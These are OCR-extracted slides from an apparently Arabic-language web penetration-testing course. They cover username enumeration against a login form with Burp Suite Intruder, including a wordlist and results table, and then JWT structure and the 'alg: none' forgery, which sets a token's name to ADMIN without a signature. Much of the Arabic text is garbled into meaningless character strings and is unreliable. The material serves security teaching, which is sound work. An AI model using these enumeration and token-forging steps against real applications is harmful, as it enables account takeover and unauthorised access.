User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.5.3
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,**:q=0.8

Accept-Language: en-US en;q= 0.5

Accept-Encoding: gzip, deflate

Referer: http://targetapplication.site/

Cookie: PHPSESSID=25qot8itiab8rjcrispamsSo14

username=§foo§&password= pwd
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(...4LSS) Authentication J) 35

As you can see, in the Payload
Options there is a list of
common usernames. We used
the Load button in order to
read usernames from a file.

Burp automatically reads each
line of the file and fills the list.

[Target T Positions Tpayloads T Options ]

@ Pavload Sets
You can define one or more payload sets. The number of payload sets depends on the atf]
be customized in different ways.
Payload set: [ 1 _VJ Payload count: 811
Payload type: | Simple list 3 Request count: 811
@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste access

admin
Ll.oa—d... administrator

adrian s
|_Remove | | 4rianna
Lﬂ agrobics

airplane

Lalhanw

Add Enter a new item

Add from list ... [Pro version only]
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(...4LSS) Authentication J) 35

We are telling Burp to mark
a guess as correct, when the
text /nvalid password is
found in the web page
content.

[Target I Positions I Payloads TOptions ]

[

|| Store full payloads

Grep - Match

These settings can be used to flag result items containing specified expressions.
(V) Flag result items with responses matching these expressions:

| Paste Invalid Password

| Load... |

' Remove

' Clear |

Add | Invalid Password

Match type: @ Simple string

() Regex

|_J Case sensitive match
) Exclude HTTP headers
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(...4kSS) Authentication J) 3_as

As we can see in the results window, two usernames have
been enumerated: admin and guest.

Attack Save Columns
J Results TTarget T Positions TPayloads T Options ]

Filter: Showing all tems w
'Request 4 Payload | Status | Error | Redire... | Timeout | Length | Invalid... | Comment \

0 200 J 1 O 2334 J haseline request [T

1 # minimal list of very com... 200 OJ 1 U 2334 U ™

2 root 200 UJ 1 UJ 2334 U

3 admin 200 J 1 J 2334 W)

4 administrator 200 J 1 UJ 2334 U

5 webadmin 200 O 1 U 2334 ]

6 sysadmin 200 U 1 U 2334 U

7 netadmin 200 UJ 1 UJ 2334 U

8 guest 200 O 1 O 2334 W)

9 user 200 O 1 UJ 2334 U

10 web 200 J 1 (] 2334 ]

11 test 200 UJ 1 U 2334 U

12 adm 200 U 1 U 2334 U v
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Faaidl (2303 session JB token (ms session G LA aedl () oy
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R

OV ASa ) Aadle Gulie <13 3yl 3 A jwt 81l Jeadll 138 3 2 i3 Cagun s
Aie ) Aadla baa elhely byl o yads Gl g token J) yuddd ll e 4384 J 68
<L LaS Ladaaie 30daa

RFC <) Jes zsiie Jlma JWT 5l JSON Web Token iizy 4l Zalil (e e
ol Yl o olb Gla gleall Jail G A€ 5 daede 48,k 23y 7519
JSON ¢ 5t (= (ASS (client/server)
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ptldall amy = pdi lics e

. Tada e
HTTP es50 s POST lalas 5l URL Olsie e JWT Jle) (Sar ¢ lgana jaaal 15k o
L 441
Uil 3ac el saaxtiall &l
L Jaradl JWT Sl 5y )l o
: 480Ladll o
@Y lla JS e ¢ addiuadl J520 G 3 jaay JWT J 12 sad SSY) 2lasiu) g 138 o
>l Lo e (Al o)) gall g Gleaddl y @) jlaall J) Jpa sl aodiisell e Laa JWT

(Rl G a sl aul g BUad e Al JWT &) e gaa) 58 03 sall Jsaall | el
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+ il glaall Jols o
ey JWT 0¥ . SILRY G el JS e sladll Jail 320 38 5l JSON Web Tokens 223 o
u\ a8 (S ¢ Aalall [/ dalall Cq.\\s.d\ C\JJ\ e\mb ¢ B Jow e Signature @S}.J\
Header u.u\)l\ e‘d;.b.uy \)Lu lly ) adlayl | oo a3l (S Lgﬂ\ ol s J yall
M;ud\eueltg).\;d\ O e (aaadl) Wayl i€y « C“SJ"M c_al.u;JPay|oad dadliall A gaall

JWT JSaa o
s ¢ (1) Bl A penda o) 32l B e JWT (ssing ¢« Jasiine JS5 3o

Header °
Payload -
Signature

Al il e JWT JSa (S Lesale o
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Header + Payload + ) #5 DOT 4x3le lein 3 a ol Ja) SO e JWT (S5 o
(Signature

il anseeg U adlgl ac i lgbl )3).‘.;.,. duwdi 1 yeity poRs oA £ )

Header

(Lo gl oyo Belyil d-L2a 1,955 Silaglaall 0

-
.

e VSl 0 333}'&11 (claims) &:laglsall S g sl 2 il oo

pin) @slaall ] e yd il ae Binen | ,L‘rl seixall e 55 Mo o483yl Payload
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( o el soa delydll dx-lia 4,050 Slag alzall
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-

faiyles dednns agiyg (Header + Payload) ish seks axags 23>
R4 .3 12y Qg0 POg|00d peaty @-|gall sé}, ]| ,A»ngc ,
Signature

I~
?NL'

a5t o iy o gai L B alll Byl o 3yig Signature

(s gl nodelyall dxlzo yb Olagleall 0ia) ddalaall

el ~
“
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‘ Jadia dS.uu A5 ;\JAY\ Y. edsa ui' \_A_\s o
Header

o Aerdionl Aua 3l sl g 55 5 JWT sl ¢ Sl 3e g 55 tinl a0 Bale Olsiall 0S5
HMAC HS256 &2 Jiall & 5 Signature J) & 5ill dalac

Jhal Jas e o

e oY) el nsSH Base64Url ddausl sy Gl 5l ¢ 3 Galdll JSON e i oy o
JWT
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Ll zlias u-‘j‘ dal=al) bl S Lgﬂ\ 9 93Kl e @\_J\ tias.d\ 9A payload

uujlamuj&u\u&u \.@J\...U\ LJ.\G.J\ DM‘ u\_\\_\.d\u.shc.mj\u_\mcg\

Dbaialy) CJ\ @j).\ﬁw 3yl g Y| 3 username M\ 8 y2a (Jia ?M\
(\.@J.\s.u.u ) el 4 er\ a_mhl_\.d\ 1S s payload |

——— sle s sing e

JN il e iyl aud

4adla i e 2ay ga g token 4adla oleiil i exp
JWT

JWT adla lay e 2aad token 4=Sla 4l nbf

Timestamp g s Timestamp iat
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Payload e Jls

"iss”: "exportdeveloper.com”,

company;xpor; developer”, P|ay|0ad "‘JM UABM JSON JMJJ e—‘-‘
"awesome”: true (e @u\ ;_);j\ UJJS_J Base64Ur| &u ‘y
JWT

Wd&u&c@‘w%@b@\o&uiw&)ﬂé&&j&
ji Payloadﬁ@\ﬁmg@yﬁu}u@‘jc\.&,)gé.ﬁﬁeiﬁelu_\.glg\j
JIWT b p=all - Header o)

Ahmed Hashem El Fiky



(... alS3) JWT J) 3 s

Payload s Liidl Header om aeall A (e o3lii) o5y | adgill ol signature e
adAl) Ladisg HMAC SHA-256. Jie ¢ A8 1888 daa ) )l A aladiily 4 g5 jaldll
5 opaall s W (e @il (e (A oy @i il palad) (g pull 2l (server)
s jse ) a5 adlall
HMACSHA256 (

base64UrlEncode(header) + "."

base64UrlEncode(payload),

secret)
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JWT 4 jlaa @

L oad (Say Al ¢ Llasy 4l sate Base64-URL dudls COG s JWT gl
XML o 4ailall julaall (e s jaual 85 (HTTP s HTML Gl (8 4 se
SAML Jis
ZUsall axdtin g ¢ @lall Jaadl g Gl e 3 e (g giay oM ¢ B JWT  Jha e
eyJhbGci0iJIUzITNiIsInRScCI6IkpXVCJ9.
eyJzdWIi0iIxMjMONTY30DkwIiwibmFtZSI6IkpvaG4

gRG91IiwiaXNTb2NpYWwiOnRydWV9.
4pcPyMDO901PSyXnrXCjTwXyr4BsezdI1AVTmud2fUu4
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(...4LeSS) JWT JVe il
Lli) 5 Leie (93al) 5 JWT 3,84 Clil jwit.io gasaal) aladivl LiSay o

& JsoN web Tokens - jwt.io

C N jwt.io

Debugger Libraries Ask Get a T-shirt!

ALGORITHM HS256

Encoded Decoded

HEADER:
eyJhbGciOiJIUzITNiIsInR5cCI6
IkpXVCJ9.e - TS 05 TwMsMONTY
30DkwIiw .

PAYLOAD:

VERIFY SIGNATURE




(...alS3) JWT JI 5l

JWT Jee fasc o

¢ 4 dalall alade ) Glily aladiuly ety Jsaall sl Jan Ladie ¢ 483ladll & o
N g GJMA\ Cpoadl) 8 o.J\.c)\_ﬂgAé\_u);.m —xa 5 JSON Web Token &t;)\ Al

Sl 48 Il dulds als eLE) e Yo (LY Ca e cilike sl Ul (S
Ll Y1 Gy et Cale sale

RM\ d.\S}LA.c ) ¢ QSAMJJ‘jA j\ J\.um L.A‘ d}*éjj‘ eM\ L M ladic o
uﬂ:ﬂ\ U“\J u»ﬁ ujSJ pale ¢ JWT d\...n)‘}? aalataYy) ?LL‘J e\m\ CA..AA.J\
Authorization Bearer

Authorization: Bearer <toker
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(...aLS3) JWT JI 3 i

Server
1. POST /login with username and password
2. Creates a JWT
with a secret
3. Sends the JWT to the browser
«
i 4. Sends the JWT (eg. on the Authorization header)
>
5. Checks the JWT signature.
Gets user information
6. Sends response to the client from the JWT
<
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3l o
ol JWT da (1)

Hlall e ng.a;ad.\l;;u&um\g\ ¢ 5=ll 48 Base64 e il Aoy ya Y Y e
« Payload djaﬂ\@mmgu)hatm}agmyy ce\.cdsauﬂ).d\ B EG
el g ye 48 Jia

®JWT Payload <lisise 5555 oS b (2)

U gasll (5 gina Joand e U‘ O Lgﬂ\} «Signature s JWT ub)SA sl OY Y e
. Payload 4 sas s Header (), ae Base64 (e OsSh a8 51l oY Payload



(...alS3) JWT JI 5l

snone <« Signature a8 sill a )yl pay g8 3 il oda e 55 Al GARILY) s
Request JM\ é us Payload d\ c_é “

[ Raw T Params I Headers T Hex TJSON Web Tokens ]

o — LA (_ Do not automatically modify signature
"alg" : "none", (_) Recalculate Signature
R BN (U Keep original signature
E S :
® Sign with random key pair
‘Payload = { Secret / Key for Signature recalculation:
"sub" : "1234567890",
"nawme" : "John Doe",
facdmwin®™ @ true
)
. -
Signature = "7 v
Alg None Attack:
[Alg: none ﬂ
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1 eyJhbGciOidJub25lliwidHIwljoiSIdUIN0.ey JzdWIiOilxMjMONTY30D

kwliwibmFtZSI6IKFETUIOIliwiaWFOljoxNTE2MjMSMDIyfQ.r30Mz7

. bj40qgweWSPgsg8L0YeWAyaJE2HQ9Z6p5u_Ye

|
T~ optional section

e — — ————
—_——_—
-~ -
-~

s n
( Signature:
"sub": "1234567890",
"name": "ADMIN", none
i 1516239022

iat":

—_—
— —
pa— . —
—_— — —
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(.. 4Le) JWT )5 33

Header 2 Signature c_\a}\ﬂ aoo) ey s Ll 5 yaill sda e A3 ) ALY aal
Jidl A LS Signature Section <3~ (S 5 Payload J) (8 was

eyJhbGciOiJIUzI1NilsInR5cCI61kpXVCJ9.

K

!

- -

"alg" 0
" typ" 0

A
{
PG "sub”: "1234567890",
"IJWT" name’ : ADMIN ;
"iat": 1516239022
}
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o L,_,r‘j‘ CSUAM A a):u]\ s o s g ALy J.\S\ Response Headers”
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